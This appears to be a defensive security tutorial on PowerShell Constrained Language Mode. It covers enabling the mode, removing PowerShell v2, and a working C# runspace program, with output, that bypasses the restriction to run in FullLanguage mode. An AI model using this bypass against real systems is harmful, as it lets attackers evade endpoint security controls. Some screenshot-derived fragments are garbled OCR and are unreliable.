PowerShell Constrained Mode

PowerShell constrained language mode prevents PowerShell from accessing native API functions. PowerShell can still be used in this mode, but will report an error if a script attempts to use native API functions. Running PowerShell in this mode prevents a lot of offensive security scripts from executing.

It should be noted that an attacker may be able to disable constrained mode, however it at least provides an extra layer of defence.

Configuration

You can check the current status on constrained mode by executing;

$ExecutionContext.SessionState.LanguageMode
PS C: SExecutionContext .SessionState. Languagemode 
onstrainedLanguage 
ps C: [System.console]. 
Cannot method. method invocation is 
supported only on core in this Isngusge mcc±. 
:System.ConsoIe] : 
. t:) -2untimeExce;tion 
+ Categorylnfo 
+ FullyQuaIifiedErrorId .

To temporarily configure constrained mode for testing, the following command can be used;

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

To permanently configure constrained mode, create an environment variable called “__PSLockDownPolicy” and set the value to 4:

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\TempState\msohtmlclip\clip_image002.png

This setting could also be configured by setting a GPO for the environment variable.

PowerShell Version 2

Constrained mode is not supported in PowerShell version 2. Since this version is installed by default on Windows 10, you will want to remove this feature to prevent an attacker from utilising that version of PowerShell to get past constrained mode.

To check if PowerShell version 2 is enabled, execute the following in an elevated command prompt:

Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
PS C: Get-WindowsOptionaIFeature 
: microsoftWindowsPowerSheIIV2 
: Windows PowerSheII 2.ß Engine 
-Online 
-FeatureName microsoftWindowsPowerSheIIV2 
FeatureName 
i splayName 
escription 
Restart Required 
State 
u stomproperties : 
Adds or Removes Windows PowerSheII 
Possible 
Enabled 
2.ø Engine

To disable PowerShell version 2, execute the following:

Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

Bypassing Constrained Mode

If application whitelisting is not configured on a host, an attacker can bypass constrained mode by invoking the System.Automation runspace using C#.

The below code will execute PowerShell commands in FullLanguage mode. You will also need to add an assembly reference to the System.Management.Automation.dll in the Visual Studio project;

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

ConstrainedModeBypass C# Code

using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;

namespace ConstrainedModeBypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Runspace runSpace = RunspaceFactory.CreateRunspace();
            runSpace.Open();

            PowerShell powershell = PowerShell.Create();
            powershell.Runspace = runSpace;

            String cmd = "Write-Output $ExecutionContext.SessionState.LanguageMode";
           
            powershell.AddScript(cmd);

            Collection<PSObject> results =  powershell.Invoke();

            StringBuilder stringBuilder = new StringBuilder();

            foreach (PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }

            Console.WriteLine(stringBuilder);

        }
    }
}

The below output shows the system is running in constrained mode, but the application can invoke PowerShell in FullLanguage mode;

PS C:\Users\user\Desktop> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Users\user\Desktop> .\ConstrainedModeBypass.exe
FullLanguage